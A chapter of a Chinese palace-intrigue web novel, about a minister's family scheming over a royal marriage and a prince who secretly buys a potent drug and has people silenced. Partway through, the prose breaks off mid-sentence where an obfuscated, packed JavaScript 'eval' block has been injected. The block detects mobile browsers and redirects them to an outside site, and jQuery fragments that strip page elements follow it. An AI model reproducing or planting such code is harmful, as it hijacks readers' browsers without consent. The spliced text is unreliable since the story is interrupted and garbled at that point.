兰宅。
一早,五姑姑领着几个宫人端着锦盒进入内院。
兰家的主母周琴急忙把人请进中堂,殷切吩咐下人上茶。
“周夫人,这是贤贵妃娘娘给大姑娘端午的赏礼。”五姑姑把锦盒递过去,周琴欢天喜地接过。
“有劳娘娘记挂,还请姑姑上座,来人,奉茶。”周琴看着桌上的盒子,心中欢喜。
“周夫人不必客气,此番过来,是娘娘嘱咐,这珊瑚甚是难得,是我家贤贵妃娘娘特命工匠赶制而成,说是最衬大姑娘绝色容颜。”五姑姑不卑不亢说道。
周琴看着这锦盒里的珊瑚步摇,上头的珊瑚本就华贵,且还镶嵌了几颗南珠,这还是贤贵妃特意定制指名道姓给自己女儿的,此番心意不言而喻。
“那妾身改日定要带着大姑娘去娘娘宫中亲自谢恩才好。”周琴笑道。
五姑姑浅笑,“甚好,宫中尚有差事脱不开身,告辞了。”
“姑姑喝了茶再走。”周琴起身挽留。
“不了,夫人请留步。”
五姑姑和其余小宫女离开兰宅。
五姑姑走远后,周琴心情喜悦,急忙让嬷嬷告知兰维桢。
兰维桢一路过来便听见嬷嬷说延鹤宫赏了东西,她过来的时候心情都是激动的。
“母亲!”兰维桢笑着进屋。
“桢桢!你快过来!瞧瞧这步摇。”周琴急不可耐。
兰维桢是尚书之女,华贵的物件不曾少见,但这步摇是用珊瑚做的,这珊瑚本就难得,且成色如此好,还是贤贵妃赏的,她心满意足抚摸着珊瑚,触手温润的感觉让她浮想联翩。
“难为贤贵妃娘娘还惦记着女儿。”兰维桢有些羞涩。
“这珊瑚步摇华贵艳丽,正衬我的女儿。”周琴伸手拿起步摇,替兰维桢别上,屋里的侍女嬷嬷都连连称赞,“姑娘佩戴这珊瑚步摇,果然是有贵人品格,凭咱们姑娘这样貌,将来定能觅得贵婿。”
兰维桢脸色羞赧。
“这是贤贵妃娘娘赏的,那便是皇上的意思,陛下前些时日便有意为你和吴王指婚,如今贤贵妃娘娘宫里还赏赐了这等物件,想必是······”
“母亲······”兰维桢急忙打断周琴的话,她脸色已经通红。
“好了好了,女儿家脸皮薄,咱们就不多说了,就等着陛下的旨意吧。”周琴掩嘴笑道。
“母亲,不同你讲这么多了。”
“老爷回来了!”外头的侍女进来禀报。
“爹爹!”兰维桢笑着迎上来。
“乖女儿,我都知道了,今日便听说贤贵妃娘娘命人赏了东西,让爹瞧瞧!”兰德茂一脸宠溺。
“爹······”兰维桢娇嗔轻跺脚。
“这是娘娘赏的珊瑚步摇。”周琴示意兰德茂看兰维桢发髻上的珊瑚步摇,盈盈笑道。
兰德茂看着女儿鬓边的珊瑚步摇,果然是精巧华贵,他甚是满意,“这贤贵妃娘娘颇得圣恩,吴王殿下又深受皇上重用,将来咱们桢桢嫁进吴王府,一辈子享不完荣华富贵。”
“爹爹······”兰维桢虽然高兴,但女儿家还是脸皮薄,“如今八字还没一撇呢,爹爹和娘亲就笑话女儿了。”
“爹爹怎么是笑话你,这贤贵妃娘娘都赏了这么好的物件,还不是顺水推舟的事。”兰德茂摸着下巴的胡子。
“爹爹!”兰维桢娇羞地转过脸,她不好意思地往自己屋里走。
兰德茂和周琴摇头笑着。
“这孩子······”
“也不知道咱们轩儿怎么样了。”周琴看着兰维桢离去的身影,又想起在青州镇守边关的长子。
兰德茂轻叹一口气,“夫人啊,咱们轩儿已渡过难关,过些时日便要回来了。”
“轩儿上回让人送回来的家书,让咱们兰家和恒王府多亲近些,也不知晓咱们轩儿何故推崇这闷声不响的大殿下。”周琴甚是疑惑。
“大殿下如今深受陛下重用,封为恒王,自然是有些能耐的。”兰德茂说道。
“可咱们女儿心中所想是吴王殿下。”
“朝堂纷争,圣意岂可揣度······只是如今这大殿下势头确实如日中天,咱们轩儿前些时日受过他恩惠,咱们听轩儿的便是。”
“夫君,可陛下心中属意太子,这皇后娘娘是忠国公之女,又是太后亲自抚养在身边的,这大殿下也不像是能屈居太子之下的人,妾身只是怕将来咱们桢桢嫁进吴王府,也落不下好处。”周琴还是担忧。
“鹬蚌相争渔人得利,咱们且看这三位皇子如何争斗,咱们何必急着投诚,且看这吴王殿下锋芒毕露,大殿下虽工于心计,到底也只是德贵妃的养子,出身低微······”
“夫君,这大殿下怕不是有意拉拢咱们轩儿,轩儿虽是镇守边关的大将军,可咱们轩儿是直性子,他这孩子还是过于单纯了。”周琴摇摇头。
“一朝天子一朝臣,咱们的女儿一定得嫁个好夫婿!”兰德茂蹙眉说道。
“如今这姜太傅之女竟然要和太子退亲,看来这太子地位也不是那么稳固,若是咱们女儿嫁进吴王府,夫君和轩儿极力推崇吴王殿下,说不定,将来吴王登上高位,咱们桢桢还能做个皇后。”周琴笑容加深。
兰德茂突然感觉不对,“所以,这大殿下急于拉拢咱们轩儿,只怕也是想······”
“夫君,难道?”周琴疑惑问道。
“桢桢若是嫁到吴王府,咱们兰家便是吴王的人,那大殿下更无胜算。”兰德茂正色道。
“夫君,莫非这姜家和太子退亲也是大殿下掺和进来?”周琴脑海里闪过一个念头。
兰德茂摇摇头,“应该不会······这姜太傅为人耿介忠厚,上回在立储一事,他和崔山月闷声不语,也看不出他们到底属意于谁。”
“夫君,妾身隐隐听闻这吴王曾在去年冬至用王府仪仗护送姜家姑娘,怕不是······”
兰德茂突然有些震惊。
“莫非这姜家姑娘退亲是因为吴王?”周琴突然有些惊恐。
“不可能!这吴王妃只能是咱们兰家的,何况眼下这退亲一事惹了圣怒,吴王定会审时度势,他应该会知晓咱们兰家可远比姜家实力雄厚!”兰德茂自信说道。
“夫君,无论如何,咱们桢桢一定要嫁得贵婿!”周琴有些焦急。
“放心!这贤贵妃娘娘既然有此意,必定也是陛下授意,咱们桢桢就等着风风光光嫁进吴王府!”
“那咱们得跟轩儿提个醒,让他知晓,到底该站在哪一边,他这个孩子认死理。”
“好,我这就修书一封,让人送往青州。”兰德茂说道。
入夜了,宗泰在书房把玩着前些时日得的玉如意。
何忠领着陆郎中进来。
“参见恒王殿下。”陆郎中恭敬地行礼。
“何忠,把陆郎中扶起来。”宗泰神色温和。
陆郎中有些惶恐不安。
“陆郎中请坐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197115|178979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”宗泰甚是客气,陆郎中又跪下,“殿下,万万不可,小的岂敢。”
“陆郎中,您的医术高明,听母妃说,她吃了陆郎中几服药,身子已好转,这都是陆郎中妙手回春。”宗泰笑道。
“小的不敢居功,是盈妃娘娘福泽深厚。”
“好了,陆郎中何必自谦,何忠,把东西呈上来。”宗泰招招手。
“是!”何忠朝门口招手,不一会儿两个小厮便端着几个锦盒进来,宗泰示意他们把盒子打开,里头是明晃晃的金子,陆郎中哪里见过这么多金子,竟有些傻眼了。
“陆郎中收下吧。”宗泰说道。
“王爷······”陆郎中被这阵仗吓到了。
“还有,陆郎中上回承诺给本王的药······”宗泰勾唇一笑。
陆郎中手指有些颤抖地从药箱里取出一个瓷瓶,眼神不安。
“殿下,这药······这药性极强······”
宗泰接过瓷瓶,冷笑一声,“陆郎中,既然收下这金子,想必陆郎中也可以安心回乡养老了。”
“殿下,小的确实年岁已高,这就回家收拾行囊。”陆郎中嗫嚅道。
“很好,何忠,亲自护送陆郎中回府。”宗泰将瓷瓶捏紧在手心,他站起身,拂袖而去。
陆郎中跪在地上,后背已经湿透,何忠扶着他站起来,他整个人的腿肚子都是颤栗的。
“请吧。”何忠扶着他,陆郎中颤颤巍巍地走出宗泰的书房。
夜深了,宗泰站在窗旁看着天空的月亮,月色发红,他勾起唇角,把玩着手中的瓷瓶,往事浮现在眼前。
几岁的他,并不知道为什么他要养在德贵妃的宫里,明明他是母妃生的,可是他不能随意进入母妃的宫里,也不能跟母妃睡,他总是自己守在黑漆漆的屋子里,乳母和萍姑姑对他不睬不理,他夜里时常做噩梦,醒来只能自己缩在角落里默默哭泣,若是哭得多了,第二日眼睛便会肿,又会被萍姑姑一顿责罚,所以,他连哭都是奢侈的。
渐渐地,他似乎懂得了一件事,原来他是被寄养在永庆宫里,嘴上喊着德贵妃一声母妃,他却清楚地知道,自己并非是德贵妃认定的儿子,德贵妃将来是要生自己儿子的。
他不讨父皇喜欢,明明都是父皇的孩子,宗隐和宗湛能随意进入勤华殿,可以坐父皇腿上读书,而他,只能窝在德贵妃的偏殿里默默苦读。
他母妃出身不过是一个小小的宫女,将来德贵妃生下自己的儿子,他就不是德贵妃唯一的儿子。
那夜他亲自下了药的汤悉数进入了德贵妃的肚子,那是断子绝孙的药!谁会知道一个孩子能下这样的药给养母?无人知晓,这加了药的汤一日日地进入德贵妃的肚子里,即便她再承宠,也不能再生育自己的孩子,那么,他就永远是永庆宫里唯一的皇子!
何忠悄无声息地进入书房,身上带着一丝血腥味,极为微弱。
宗隐还是闻到了,他收回自己的思绪,神色转冷。
宗泰睨了何忠一眼,淡然说道:“都解决干净了?”
“回王爷的话,全部解决了。”何忠说道。
宗泰冷笑一声,“很好。”
“王爷,接下来咱们怎么办?”何忠声音有些沙哑。
“何忠,这天下也该易主了!”他望着天空的月亮出神。
何忠望向天空,月色血红,他笑道:“这月色血红,是大吉之兆。”
宗泰笑意加深。
他越来越期待了。